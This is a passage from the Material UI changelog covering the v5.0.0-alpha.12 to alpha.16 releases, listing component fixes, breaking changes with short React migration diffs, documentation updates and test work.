@mbrookes\n  Standard has been removed from the Material Design guidelines. [This codemod](https://github.com/mui/material-ui/tree/next/packages/mui-codemod#variant-prop) will automatically update your code.\n\n  ```diff\n  -<TextField value=\"Standard\" />\n  -<TextField value=\"Outlined\" variant=\"outlined\" />\n  +<TextField value=\"Standard\" variant=\"standard\" />\n  +<TextField value=\"Outlined\" />\n  ```\n\n- [Autocomplete] Remove `debug` in favor of `open` and dev tools (#23377) @eps1lon\n  There are a couple of simpler alternatives: `open={true}`, Chrome devtools [\"Emulate focused\"](https://x.com/sulco/status/1305841873945272321), or React devtools props.\n\n#### Changes\n\n- [Autocomplete] Use Popper when `disablePortal` (#23263) @eps1lon\n- [Box] Better DX for deprecated props (#23285) @eps1lon\n- [codemod] Add a codemod for the Box sx prop (#23465) @mbrookes\n- [CssBaseline] Add dark mode scrollbar support (#23407) @mmmols\n- [Slider] Extract slots as standalone components (#22893) @mnajdova\n- [Stepper] Fix the icon prop support in StepLabel (#23408) @randyshoopman\n- [theme] Add htmlFontSize to Typography interface (#23412) @fergusmcdonald\n- [Tooltip] Fix PopperProps popper modifiers not being merged properly (#23421) @dominique-mueller\n- [Tooltip] Long press select text on iOS (#23466) @hmaddisb\n- [Tooltip] Unexpected behavior onOpen/onClose (#23482) @brorlarsnicklas\n\n### `@material-ui/lab@v5.0.0-alpha.16`\n\n- [DatePicker] Migrate to the lab #22692 @dmtrKovalenko\n\n### `@material-ui/system@v5.0.0-alpha.16`\n\n- [system] Add typography prop that will pull from theme.typography (#23451) @mnajdova\n- [system] Create separate margin and padding functions (#23452) @mnajdova\n- [system] Export styleFunctionSx and improve signature (#23397) @mnajdova\n- [system] Merge breakpoints in correct order (#23380) @mnajdova\n- [system] Remove css utility in favor of sx (#23454) @mnajdova\n- [system] Warn for spacing when non integer value is used with theme.spacing array (#23460) @mnajdova\n\n### `@material-ui/styled-engine@v5.0.0-alpha.16`\n\n- [styled-engine] Upgrade emotion to 11 RC (#23007) @mnajdova\n\n### `@material-ui/unstyled@v5.0.0-alpha.16`\n\n- [Slider] Extract slots as standalone components (#22893) @mnajdova\n\n### `@material-ui/codemod@v5.0.0-alpha.16`\n\n- [TextField] Change default variant from standard to outlined (#23503) @mbrookes\n\n### Docs\n\n- [docs] Allow to host code in a different repo (#23390) @oliviertassinari\n- [docs] CHANGELOG for v5.0.0-alpha.15 (#23383) @oliviertassinari\n- [docs] Fix examples download URLs to match the correct branch name (#23467) @matchatype\n- [docs] Fix links being opened when dismissing context menus (#23491) @eps1lon\n- [docs] Fix the Netlify proxy for localization of X (#23387) @oliviertassinari\n- [docs] Fix usage of palette.type instead of palette.mode in docs (#23414) @hubgit\n- [docs] Improve documentation of MUI System (#23294) @mnajdova\n- [docs] Improve feedback a11y (#23459) @eps1lon\n- [docs] Improve formatting of MUI System (#23509) @oliviertassinari\n- [docs] Improve migration guide for theme.palette (#23416) @hubgit\n- [docs] Mention delay instead of transition twice (#23393) @benmneb\n- [docs] Prepare Material UI X (#1893) @oliviertassinari\n- [docs] Redirect legacy GridList pages to ImageList (#23456) @eps1lon\n- [docs] Remove redundant aria-label when wrapped in Tooltip (#23455) @eps1lon\n- [docs] Sync translations (#23316) @l10nbot\n- [docs] Update buildAPI script to handle the \"styled\" components (#23370) @mnajdova\n- [docs] Update new components in the roadmap (#23507) @mbrookes\n- [docs] Update translations (#23501) @l10nbot\n\n### Core\n\n- [core] Batch small changes (#23422) @oliviertassinari\n- [core] Fix skipped ignore patterns (#23474) @eps1lon\n- [core] Switch to globby and fast-glob (#23382) @eps1lon\n- [test] Increase timeout threshold for slow Firefox tests (#23463) @eps1lon\n- [test] Make sure system properties are in the same order when generating CSS (#23388) @mnajdova\n- [test] Prefer longhand properties (#23445) @eps1lon\n- [test] Remove data-mui-test from tests (#23498) @eps1lon\n- [test] Remove keyDown#force (#23488) @eps1lon\n- [test] Use adapter instead of native Date (#23475) @eps1lon\n- [test] Use fake timers in visual regression tests (#23464) @eps1lon\n\n## 5.0.0-alpha.15\n\n_Nov 4, 2020_\n\nA big thanks to the 20 contributors who made this release possible. Here are some highlights ✨:\n\n- ⚛️ Add support for React 17 (#23311) @eps1lon.\n  React 17 release is unusual because it doesn't add any new developer-facing features. It was released a couple of days ago. You can learn more about it in the [introduction post](https://legacy.reactjs.org/blog/2020/10/20/react-v17.html). Material UI now supports `^16.8.0 || ^17.0.0`.\n- 🛠 Introduce a new `@material-ui/unstyled` package (#23270) @mnajdova.\n  This package will host the unstyled version of the components. In this first iteration, only the Slider is available. You can find it documented under the [same page](https://mui.com/components/slider-styled/#unstyled-slider) as the styled version.\n\n  **Why an unstyled package?**\n\n  While engineering teams are successfully building custom design systems by wrapping Material UI, we [occasionally hear](https://github.com/mui/material-ui/issues/6218) that Material Design or our styling solution are something they don't need. Some teams prefer SASS, others prefer to customize the components starting from a pristine state. What all these teams have in common is that they value the features coming from the components, such as accessibility.\n\n  The unstyled package goes one step down in the abstraction layer, providing more flexibility. Angular Material introduced this approach two years ago. Today their unstyled components account for [25% of the usage](https://npm-stat.com/charts.html?package=%40angular%2Fmaterial&package=%40angular%2Fcdk&from=2017-11-03&to=2020-11-03).\n\n  Another reason for introducing this package is to prepare the groundwork for a [second theme](https://github.com/mui/material-ui/issues/22485) (not Material Design based).\n\n  A note on the terminology: \"unstyled\" means that the components have the same API as the \"styled\" components but come without CSS. Material UI also contains \"headless\" components that exposes a hook API, for example [useAutocomplete](https://mui.com/components/autocomplete/#useautocomplete) or [usePagination](https://mui.com/components/pagination/#usepagination).\n\n  This change is part of our strategy to iterate on the v5 architecture with the `Slider` first. In the next alpha release, we plan to replace the v4 slider with the v5 slider. Once the new approach is stress-tested and validated, we will roll it out to all the components.\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.15`\n\n#### Breaking changes\n\n- [AppBar] Fix z-index when position=\"static\" (#23325) @sujinleeme\n  Remove z-index when position static and relative\n- [theme] Fix error message for augmentColor failure (#23371) @reedanders\n  The signature of `theme.palette.augmentColor` helper has changed:\n\n  ```diff\n  -theme.palette.augmentColor(red);\n  +theme.palette.augmentColor({ color: red, name: 'brand' });\n  ```\n\n#### Changes\n\n- [Autocomplete] Fix unclickable area between text input and endAdornment (#23229) @sujinleeme\n- [Autocomplete] Follow Material Design State spec (#23323) @sujinleeme\n- [Avatar] Fix usage of srcset property (#23286) @matheuspiment\n- [ClickAwayListener] Fix mounting behavior in Portals in React 17 (#23315) @eps1lon\n- [core] Allow React 17 (#23311) @eps1lon\n- [Icon] Fix translation, for example Google Translate (#23237) @cbeltrangomez84\n- [LinearProgress] Fix Safari's bug during composition of different paint (#23293) @montogeek\n- [Radio] Fix dot misalignment in Safari (#23239) @anasufana\n- [styled-engine] Fix tagged template syntax with multiple expressions (#23269) @eps1lon\n- [Table] Fix empty row logic when displaying all (#23280) @JoaoJesus94\n- [Table] Fix handling of rowsPerPage={-1} (#23299) @JoaoJesus94\n- [TextareaAutosize] Fix container with no intrinsic height (#23273) @sujinleeme\n- [TextField] Fix disabled color in Safari (#23375) @Morteza-Jenabzadeh\n- [theme] Fix spacing string arguments (#23224) @GuilleDF\n- [Tooltip] Fix excess spacing (#23233) @benneq\n\n### `@material-ui/unstyled@v5.0.0-alpha.15`\n\n- [unstyled] Create package and move SliderUnstyled there (#23270) @mnajdova\n- [core] Allow React 17 (#23311) @eps1lon\n\n### `@material-ui/lab@v5.0.0-alpha.15`\n\n- [lab] Migrate Timeline to TypeScript (#23242) @oliviertassinari\n- [core] Allow React 17 (#23311) @eps1lon\n\n### `@material-ui/icons@v5.0.0-alpha.15`\n\n- [core] Allow React 17 (#23311) @eps1lon\n\n### `@material-ui/styles@v5.0.0-alpha.15`\n\n- [core] Allow React 17 (#23311) @eps1lon\n\n### `@material-ui/system@v5.0.0-alpha.15`\n\n- [core] Allow React 17 (#23311) @eps1lon\n- [theme] Fix spacing string arguments (#23224) @GuilleDF\n\n### Docs\n\n- [Transition] Document default appear value (#23221) @GuilleDF\n- [blog] Danail Hadjiatanasov joins Material UI (#23223) @oliviertassinari\n- [docs] Add Material UI Builder to in-house ads (#23342) @mbrookes\n- [docs] Fix a few typos and add comma (#23284) @reedanders\n- [docs] Fix few propTypes in Inputs (#23331) @youknowhat\n- [docs] Fix language cookie (#23324) @mbrookes\n- [docs] Fix typo in `README.md` (#23329) @mtsknn\n- [docs] Guard against unknown value in userLanguage cookie (#23336) @mbrookes\n- [docs] Make it clearer that custom router is supported (#23304) @Maxgit3\n- [docs] Sync translations (#23080) @l10nbot\n- [docs] Update homepage quotes (#23326) @mbrookes\n- [docs] Update nav translations (#23234) @mbrookes\n- [docs] Update system pages to use sx prop instead of deprecated Box props (#23368) @mnajdova\n- [docs] Use present tense for bool prop descriptions (#23274) @mbrookes\n\n### Core\n\n- [utils] Add all @material-ui/core/utils to @material-ui/utils (#23264) @mnajdova\n- [core] Batch small changes (#23327) @oliviertassinari\n- [core] Fix implicit transitive 'csstype' dependency (#23301) @quinnturner\n- [core] Move material-ui-benchmark into benchmark/server (#23271) @eps1lon\n- [core] Replace temp package with node built-ins (#23262) @eps1lon\n- [core] Restrict top level imports that target CJS modules (#23159) @eps1lon\n- [test] Fix unexpected console warn/error spy swallowing unrelated messages (#23312) @eps1lon\n- [test] Fix various issues with the new cli on windows (#23381) @eps1lon\n- [test] Improve test debugging (#23372) @eps1lon\n- [test] Introduce experimental CLI (#23369) @eps1lon\n- [test] Prevent growing call stack in custom keyDown/keyUp (#23321) @eps1lon\n- [test] Run with Safari 13 (#23292) @eps1lon\n\n## 5.0.0-alpha.14\n\n_Oct 23, 2020_\n\nA big thanks to the 23 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 💄 Introduce a new `sx` prop (#23053, #23205) @mnajdova\n  We have resumed the work on Material UI System. This is made possible by the latest progress on the new styling solution of v5.\n  You can read the [introduction blog post](https://medium.com/material-ui/introducing-material-ui-design-system-93e921beb8df) that we did for MUI System two years ago.\n\n  The system is meant to solve the following problems:\n  1. Naming things is hard. How should a class name, JSS style rule, or styled component be named?\n  2. Jumping between JS and CSS in the editor wastes time. This is particularly true as the complexity (LOCs/# of elements) of a component increases. It's still true when using the `styled()` API.\n  3. Introducing a `makeStyles` for the first time in a component is daunting. For example, it's why https://github.com/vscodeshift/material-ui-codemorphs#add-usestyles-hook exists. What if we had less code to type, gaining velocity when writing styles?\n  4. Pulling values out from the theme can be cumbersome. How can we make it less painful to increase the usage of design tokens?\n\n  This new iteration of MUI System brings two major improvements:\n  - It moves from the support of a subset of CSS to the support of a superset of CSS.\n    Learning the shorthand is optional. It's no longer necessary to moving back to styled() when MUI System doesn't support a specific CSS property.\n  - It moves from support on Box only to any core component (starting with the slider).\n\n    ```jsx\n    import Slider from '@material-ui/lab/SliderStyled';\n\n    // Set the primary color and a vertical margin of 16px on desktop.\n    <Slider sx={{ color: 'primary.main', my: { xs: 0, md: 2 } }} />;\n    ```\n\n- ✨ Upgrade Popper.js from v1 to v2 (#21761) @joshwooding\n  The change reduces the bundle size (-1 kB gzipped) while fixing bugs at the same time.\n\n- 🐛 Fix broken nested imports with the icons package (#23157) @eps1lon\n  The revamp of the bundling strategy in #22814 has broken the nested imports.\n  Imports such as the one below should work again with this release:\n\n  ```jsx\n  import CloseIcon from '@material-ui/icons/Close';\n  ```\n\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.14`\n\n#### Breaking changes\n\n- [Popper] Upgrade to popper.js to v2 (#21761) @joshwooding\n  This third-party library has introduced a lot of changes.<br />\n  You can read [their migration guide](https://popper.js.org/docs/v2/migration-guide/) or the following summary:\n  - The CSS prefixes have changed:\n\n    ```diff\n     popper: {\n       zIndex: 1,\n    -  '&[x-placement*=\"bottom\"] $arrow': {\n    +  '&[data-popper-placement*=\"bottom\"] $arrow': {\n    ```\n\n  - Method names have changed.\n\n    ```diff\n    -popperRef.current.scheduleUpdate()\n    +popperRef.current.update()\n    ```\n\n    ```diff\n    -popperRef.current.update()\n    +popperRef.current.forceUpdate()\n    ```\n\n  - Modifiers' API has changed a lot. There are too many changes to be covered here.\n\n- [withMobileDialog] Remove this higher-order component (#23202) @RDIL\n  The hook API allows a simpler and more flexible solution than the HOC:\n\n  ```diff\n  -import withMobileDialog from '@material-ui/core/withMobileDialog';\n  +import { useTheme, useMediaQuery } from '@material-ui/core';\n\n   function ResponsiveDialog(props) {\n  -  const { fullScreen } = props;\n  +  const theme = useTheme();\n  +  const fullScreen = useMediaQuery(theme.breakpoints.down('sm'));\n     const [open, setOpen] = React.useState(false);\n\n   // ...\n\n  -export default withMobileDialog()(ResponsiveDialog);\n  +export default ResponsiveDialog;\n  ```\n\n#### Changes\n\n- [Box] Add sx prop (#23053) @mnajdova\n- [Box] Deprecate system props (#23206) @mnajdova\n- [Card] Use flex display for CardHeader.avatar (#23169) @mordechaim\n- [Container] Fix support of custom breakpoint units (#23191) @espipj\n- [Container] Revert max-width change for xs @oliviertassinari\n- [InputBase] Use ref prop instead of inputRef prop on input component (#23174) @GuilleDF\n- [l10n] Add Kazakh (kz-KZ) locale (#23195) @abdulgafur24\n- [Rating] Ensure hover and click are in sync (#23117) @redbmk\n- [Select] Fix SelectDisplayProps className concat (#23211) @reedanders\n\n### `@material-ui/styled-engine@v5.0.0-alpha.14`\n\n- [styled] Add @babel/runtime dependency (#23175) @koistya\n\n### `@material-ui/system@v5.0.0-alpha.14`\n\n- [Box] Add sx prop (#23053) @mnajdova\n- [core] Fix bundles for packages without subpackages (#23157) @eps1lon\n\n### `@material-ui/icons@v5.0.0-alpha.14`\n\n- [core] Fix bundles for packages without subpackages (#23157) @eps1lon\n\n### `@material-ui/lab@v5.0.0-alpha.14`\n\n#### Breaking changes\n\n- [AvatarGroup] Move from lab to core (#23121) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import AvatarGroup from '@material-ui/lab/AvatarGroup';\n  +import AvatarGroup from '@material-ui/core/AvatarGroup';\n  ```\n\n#### Changes\n\n- [Slider] Add sx prop in SliderStyled (#23205) @mnajdova\n\n### `@material-ui/utils@v5.0.0-alpha.14`\n\n- [utils] Fix types of chainPropTypes (#23123) @oliviertassinari\n- [core] Fix bundles for packages without subpackages (#23157) @eps1lon\n\n### `@material-ui/types@v5.2.0-alpha.14`\n\n- [types] Add LICENSE files (#23162) @lielfr\n\n### Docs\n\n- [examples] Remove reason example project (#23158) @mnajdova\n- [examples] Update cdn example to use @material-ui/core@next (#23153) @mnajdova\n- [examples] Update preact to use the @material-ui/core@next (#23154) @mnajdova\n- [examples] Update ssr example to use @material-ui/core@next (#23155) @mnajdova\n- [examples] Updated nextjs-typescript example to use @material-ui/core@next (#23119) @numToStr\n- [docs] Add Menu component example with explicit positioning prop values (#23167) @jaebradley\n- [docs] Add page feedback (#22885) @mbrookes\n- [docs] Add Performance section for Modal (#23168) @jaebradley\n- [docs] Better document CardActionArea (#23196) @el1f\n- [docs] Cleaner image of font-size equation (#23189) @CamDavidsonPilon\n- [docs] Fix casing typo (#23148) @piperchester\n- [docs] Fix typo in steppers (#23163) @AGDholo\n- [docs] Fix typo on interoperability page (#23177) @SassNinja\n- [docs] Improve migration v5 guide @oliviertassinari\n- [docs] Lazy load demo toolbar (#23108) @eps1lon\n- [docs] Remove unused style selectors `extendedIcon` (#23160) @MatejKastak\n- [docs] Use Box sx prop on all Slider examples #23217 @mnajdova\n\n### Core\n\n- [benchmark] Add theme-ui and chakra-ui Box scenarios (#23180) @mnajdova\n- [benchmark] Create separate workspace (#23209) @eps1lon\n- [benchmark] Extracted Profiler & added output in readme (#23178) @mnajdova\n- [core] Batch small changes (#23116) @oliviertassinari\n- [core] Improve bundle size comment (#23110) @eps1lon\n- [core] Prevent unstable chunks in size snapshot (#23181) @eps1lon\n\n## 5.0.0-alpha.13\n\n_Oct 17, 2020_\n\nA big thanks to the 25 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 📦 Ship modern bundle (#22814) @eps1lon.\n  This is a significant update to the [browsers supported](https://mui.com/material-ui/getting-started/supported-platforms/) by Material UI.\n  The previous policy was defined 2 years ago, and the landscape has evolved since then. The package now includes 4 bundles:\n  1. `stable` (default, formerly `esm`) which targets a snapshot (on release) of `> 0.5%, last 2 versions, Firefox ESR, not dead, not IE 11\"`\n  2. `node` (formerly default) which targets a snapshot (on release) of `maintained node versions`\n  3. `legacy` (new) which is `stable` + IE 11\n  4. `modern` (formerly `es`) which targets the last 1 version of evergreen browsers and active node (currently that is 14\n\n  The change yields a 6% reduction in bundle size 📦 (Babel only).\n  In the coming weeks, we will refactor the internals to take advantage of the new browser capabilities that dropping these older platforms allows. For instance, we might be able to remove the span we render inside the `<Button>` to work around [Flexbug #9](https://github.com/philipwalton/flexbugs/blob/master/README.md#flexbug-9).\n\n  Check the updated [Supported platforms documentation](https://mui.com/material-ui/getting-started/supported-platforms/) and [new \"minimizing bundle size\" guide](https://mui.com/material-ui/guides/minimizing-bundle-size/).\n\n  If you target IE11, you need to use the new bundle (`legacy`). We are treating IE11 as a second class-citizen, which is a continuation of the direction taken in #22873.\n\n- 🚀 Improve the internal benchmark suite (#22923, #23058) @mnajdova.\n  This was a prerequisite step to improve the [system](https://mui.com/system/getting-started/). We needed to be able to measure performance. After #22945, we have measured that the `Box` component is x3 faster in v5-alpha compared to v4.\n- ✏️ A new blog post: [Q3 2020 Update](https://mui.com/blog/2020-q3-update/) (#23055) @oliviertassinari.\n- 🐙 Migrate more tests to react-testing-library @deiga, @Morteza-Jenabzadeh, @nicholas-l.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.13`\n\n#### Breaking changes\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n#### Change\n\n- [Autocomplete] Fix autoHighlight synchronization (#23025) @Tubaleviao\n- [Autocomplete] Ignore keydown event until IME is confirmed (#23050) @jiggum\n- [Card] Fix action area hover style on touch devices (#23079) @giulianovarriale\n- [Slider] Align value label text center (#23075) @LorenzHenk\n- [SwipeableDrawer] Decorrelate swipeAreaWidth and initial jumping amount (#23042) @omidtajik\n- [Tooltip] Fix followCursor preventing onMouseMove on children (#23104) @eps1lon\n- [Tooltip] Refactor event handling (#23092) @eps1lon\n- [theme] Add missing types for theme overrides (#23028) @povilass\n- [l10n] Add Arabic (ar_EG) locale (#23006) @GoldenWings\n\n### `@material-ui/lab@v5.0.0-alpha.13`\n\n- [TreeView] Fix bundle size link and refactor array spreads (#22992) @joshwooding\n- [TreeView] Fix `alpha()` color utility instead of deprecated `fade()` (#22978) @joshwooding\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### `@material-ui/utils@v5.0.0-alpha.13`\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### `@material-ui/system@v5.0.0-alpha.13`\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### `@material-ui/styles@v5.0.0-alpha.13`\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### `@material-ui/styled-engine@v5.0.0-alpha.13`\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### `@material-ui/styled-engine-sc@v5.0.0-alpha.13`\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### `@material-ui/icons@v5.0.0-alpha.13`\n\n- [core] Ship modern bundle (#22814) @eps1lon\n\n### Docs\n\n- [blog] Allow to support card preview (#23087) @oliviertassinari\n- [blog] Q3 2020 Update (#23055) @oliviertassinari\n- [docs] Add a new demo to the showcase (#22949) @adonig\n- [docs] Add demo for Link underline (#23074) @LorenzHenk\n- [docs] Add logarithmic slider demo (#23076) @LorenzHenk\n- [docs] Add react-admin in related projects page (#23097) @fzaninotto\n- [docs] Change color to palette (#23046) @mockingjet\n- [docs] Don't suggest putting a Switch inside a ListItemSecondaryAction (#23018) @sirlantis\n- [docs] Fix docs:dev (#23023) @eps1lon\n- [docs] Fix vertical alignment of Slider demo (#23059) @r0zar\n- [docs] Fix wrong variable characters (#23066) @AGDholo\n- [docs] Improve docs for Table sticky column grouping (#23100) @andre-silva-14\n- [docs] Improve icon preview color contrast (#22974) @oliviertassinari\n- [docs] Interoperability guide updates (#23030) @mnajdova\n- [docs] Move outdated versions into a collapsible section (#23029) @NoNamePro0\n- [docs] Point to material-ui-x/next instead of master @oliviertassinari\n- [docs] Restore ButtonBases images (#23083) @eps1lon\n- [docs] Slider demos clean up (#22964) @mnajdova\n- [docs] Sync translations (#22888) @l10nbot\n- [examples] Update gatsby example to use @material-ui/\\* next (#23089) @mnajdova\n- [examples] Update gatsby-theme example to use @material-ui/\\* next #23093 @mnajdova\n- [examples] Update nextjs example project to use @material-ui/\\* next (#23094) @mnajdova\n\n### Core\n\n- [benchmark] Add browser benchmark (#22923) @mnajdova\n- [benchmark] Fix benchmark scripts & moved scenarios to correct benchmark project (#23058) @mnajdova\n- [test] Enable failing unexpected console warn|error in browser tests (#23063) @eps1lon\n- [test] Fail each test on unexpected console logs in test:unit (#23064) @eps1lon\n- [test] Introduce toHaveInlineStyle and toHaveComputedStyle matcher (#23054) @eps1lon\n- [test] Migrate ButtonBase to react-testing-library (#23011) @deiga\n- [test] Migrate IconButton to react-testing-library (#22972) @Morteza-Jenabzadeh\n- [test] Migrate InputBase to react-testing-library (#23014) @deiga\n- [test] Migrate SpeedDial to react-testing-library (#23021) @nicholas-l\n- [test] Migrate TableCell to react-testing-library (#23095) @nicholas-l\n- [test] Migrate TableRow to react-testing-library (#23105) @deiga\n- [test] Move some work out of evaluation phase (#23112) @eps1lon\n- [test] Supress 404 img warnings in browser tests (#23106) @eps1lon\n- [test] Throw on console.(error|warn) outside of test (#22907) @eps1lon\n- [test] Use dot reporter in CI (#23026) @eps1lon\n- [core] Add support for iOS Safari 12 (#23068) @eps1lon\n- [core] Also format dot files & folders (#22975) @oliviertassinari\n- [core] Extend yarn size:why (#22979) @eps1lon\n- [core] Fix react-next test (#23027) @oliviertassinari\n- [core] Lint CSS (#22976) @oliviertassinari\n- [core] Misc modules/\\* cleanup (#22983) @eps1lon\n\n## 5.0.0-alpha.12\n\n_Oct 11, 2020_\n\nA big thanks to the 45 contributors who made this release possible.\nHere are some highlights ✨:\n\n- 🧪 The promotion of 4 components from the lab to core: Autocomplete, Pagination, SpeedDial, and ToggleButton. These components have been in the lab for more than 10 months @mbrookes.\n- 📦 Switch the style engine of the `Box` component from JSS to _@material-ui/styled-engine_ (use emotion by default) (#22945) @mnajdova.\n  The early benchmark we have run shows that performance has improved. We will share more detailed results in #21657.\n- 🐙 Migrate a large portion of the tests from enzyme to react-testing-library @eladmotola, @baterson, @bewong89, @devrasec, @guillermaster, @itamar244, @jeferson-sb, @The24thDS.\n  Last month, react-testing-library had [more downloads](https://npm-stat.com/charts.html?package=enzyme&package=%40testing-library%2Freact&from=2019-10-10&to=2020-10-10) than enzyme in the ecosystem!\n- 🏷 Add support for tooltips [following the cursor](https://mui.com/components/tooltips/#follow-cursor) (#22876) @xtrixia.\n- And many more 🐛 bug fixes and 📚 improvements.\n\n### `@material-ui/core@v5.0.0-alpha.12`\n\n#### Breaking changes\n\n- [Accordion] Remove `display:flex` from AccordionDetails (#22809) @croraf\n  The style was too opinionated. Most developers expect `display: block`.\n- [Accordion] Replace IconButton wrapper with div (#22817) @croraf\n  Remove IconButtonProps prop from AccordionSummary.\n  The component renders a `<div>` element instead of an IconButton.\n  The prop is no longer relevant.\n- [Box] Add mui styled usage (#22945) @mnajdova\n  Change the style-engine powering the Box component from JSS to the style engine adatper (emotion by default).\n- [CircularProgress] Drop IE11 wobbly workaround (#22873) @suliskh\n  The IE11 workaround is harming performance on the latest browsers.\n  This change is part of a best-effort strategy to keep IE11 support.\n  We are degrading the UX and DX with IE11 where we can improve the components on modern browsers.\n- [Table] Rename onChangeRowsPerPage and onChangePage (#22900) @eladmotola\n  The change was done to match the API convention.\n\n  ```diff\n   <TablePagination\n  -  onChangeRowsPerPage={()=>{}}\n  -  onChangePage={()=>{}}\n  +  onRowsPerPageChange={()=>{}}\n  +  onPageChange={()=>{}}\n  ```\n\n- [theme] Rename fade to alpha (#22834) @mnajdova\n  Better describe its functionality. The previous name was leading to confusion when the input color already had an alpha value. The helper **overrides** the alpha value of the color.\n\n  ```diff\n  -import { fade } from '@material-ui/core/styles';\n  +import { alpha } from '@material-ui/core/styles';\n\n   const classes = makeStyles(theme => ({\n  -  backgroundColor: fade(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n  +  backgroundColor: alpha(theme.palette.primary.main, theme.palette.action.selectedOpacity),\n   }));\n  ```\n\n- [Tooltip] Make `interactive` default (#22382) @eps1lon\n  The previous default behavior failed [success criterion 1.4.3 (\"hoverable\") in WCAG 2.1](https://www.w3.org/TR/WCAG21/#content-on-hover-or-focus).\n  To reflect the new default value, the prop was renamed to `disableInteractive`.\n  If you want to restore the old behavior (thus not reaching level AA), you can apply the following diff:\n\n  ```diff\n  -<Tooltip>\n  +<Tooltip disableInteractive>\n   # Interactive tooltips no longer need the `interactive` prop.\n  -<Tooltip interactive>\n  +<Tooltip>\n  ```\n\n#### Changes\n\n- [Accordion] Remove incorrect demo which nests input in button (#22898) @croraf\n- [Autocomplete] Fix filtering when value is already selected (#22935) @montelius\n- [Autocomplete] Fix virtualization example in IE11 (#22940) @bearfromtheabyss\n- [Autocomplete] Restrict component props in `renderInput` (#22789) @eps1lon\n- [Box] Add types for `ref` (#22927) @lcswillems\n- [Button] Fix invalid type value (#22883) @oliviertassinari\n- [Button] Improve loading transition (#22884) @oliviertassinari\n- [Grid] Clarify document about direction column limitation (#22871) @ThewBear\n- [IconButton] Improve warning against non root onClick listeners (#22821) @pranjanpr\n- [Popper] Use placement viewport instead of window (#22748) @maksimgm\n- [Select] Add generic support for value (#22839) @AntoineGrandchamp\n- [Skeleton] Fix importing with named export (#22879) @0prodigy\n- [SpeedDial] Fix keyboard navigation when uncontrolled (#22826) @akharkhonov\n- [styled] Specify emotion & styled-components as optional peer dependencies (#22808) @mnajdova\n- [styled] Support default theme when none is available (#22791) @mnajdova\n- [Tabs] Fix RTL scrollbar with Chrome 85 (#22830) @ankit\n- [TextField] Pass minRows to InputComponent (#22831) @suliskh\n- [ToggleButton] Fix vertical double border (#22825) @Avi98\n- [ToggleButton] Match ToggleButtonGroup name and render function name (#22790) @jjoselv\n- [Tooltip] Add placement `followCursor` (#22876) @xtrixia\n- [Tooltip] Improve docs and warning for custom children (#22775) @brorlarsnicklas\n- [Tooltip] Use label semantics (#22729) @eps1lon\n- [useAutocomplete] Fix getXProps functions type (#22749) @kentaro84207\n\n### `@material-ui/styled-engine@v5.0.0-alpha.12`\n\n- [styled] Support default theme when none is available (#22791) @mnajdova\n\n### `@material-ui/lab@v5.0.0-alpha.12`\n\n#### Breaking changes\n\n- [Autocomplete] Move from lab to core (#22715) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import Autocomplete from '@material-ui/lab/Autocomplete';\n  -import useAutocomplete from '@material-ui/lab/useAutocomplete';\n  +import Autocomplete from '@material-ui/core/Autocomplete';\n  +import useAutocomplete from '@material-ui/core/useAutocomplete';\n  ```\n\n- [Pagination] Move from lab to core (#22848) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import Pagination from '@material-ui/lab/Pagination';\n  -import PaginationItem from '@material-ui/lab/PaginationItem';\n  -import { usePagination } from '@material-ui/lab/Pagination';\n  +import Pagination from '@material-ui/core/Pagination';\n  +import PaginationItem from '@material-ui/core/PaginationItem';\n  +import usePagination from '@material-ui/core/usePagination';\n  ```\n\n- [SpeedDial] Move from lab to core (#22743) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import SpeedDial from '@material-ui/lab/SpeedDial';\n  -import SpeedDialAction from '@material-ui/lab/SpeedDialAction';\n  -import SpeedDialIcon from '@material-ui/lab/SpeedDialIcon';\n  +import SpeedDial from '@material-ui/core/SpeedDial';\n  +import SpeedDialAction from '@material-ui/core/SpeedDialAction';\n  +import SpeedDialIcon from '@material-ui/core/SpeedDialIcon';\n  ```\n\n- [ToggleButton] Move from lab to core (#22784) @mbrookes\n  Move the component from the lab to the core. This component will become stable.\n\n  ```diff\n  -import ToggleButton from '@material-ui/lab/ToggleButton';\n  -import ToggleButtonGroup from '@material-ui/lab/ToggleButtonGroup';\n  +import ToggleButton from '@material-ui/core/ToggleButton';\n  +import ToggleButtonGroup from '@material-ui/core/ToggleButtonGroup';\n  ```\n\n- [TreeView] Improve customization of tree item (#22846) @joshwooding\n  Remove `onLabelClick` and `onIconClick`.\n\n#### Changes\n\n- [AvatarGroup] Add variant prop (#22832) @hjades\n- [SliderStyled] Fix mark label alignment on coarse pointer devices (#22849) @joshwooding\n\n### Docs\n\n- [docs] Add example for using styled-components as styled-engine (#22788) @mnajdova\n- [docs] Add longhand system API props to docs (#22796) @possibilities\n- [docs] Box & system cleanup (#22962) @mnajdova\n- [docs] CONTRIBUTING.md only yarn is supported (#22754) @Yashvirani\n- [docs] Document createSvgIcon() (#22843) @mbrookes\n- [docs] Document inherited props (#22318) @oliviertassinari\n- [docs] Document LoadingButton behavior (#22878) @eps1lon\n- [docs] Fix dark theme for input field on autocomplete (#22711) @GauravKesarwani\n- [docs] Fix material icon search details view (#22793) @skr571999\n- [docs] Fix type vs. mode and capitalization of createMuiTheme (#22844) @joshwooding\n- [docs] Fix typo in guides/typescript (#22806) @croraf\n- [docs] Fix various typos (#22842) @kkirsche\n- [docs] For non-SSR language, internal search fall back to English (#22902) @bicstone\n- [docs] Improve CRA example (#22967) @spursbyte\n- [docs] Improve FormControl duplication warning (#22823) @talgautb\n- [docs] Improve perf when opening the drawer (#22781) @eps1lon\n- 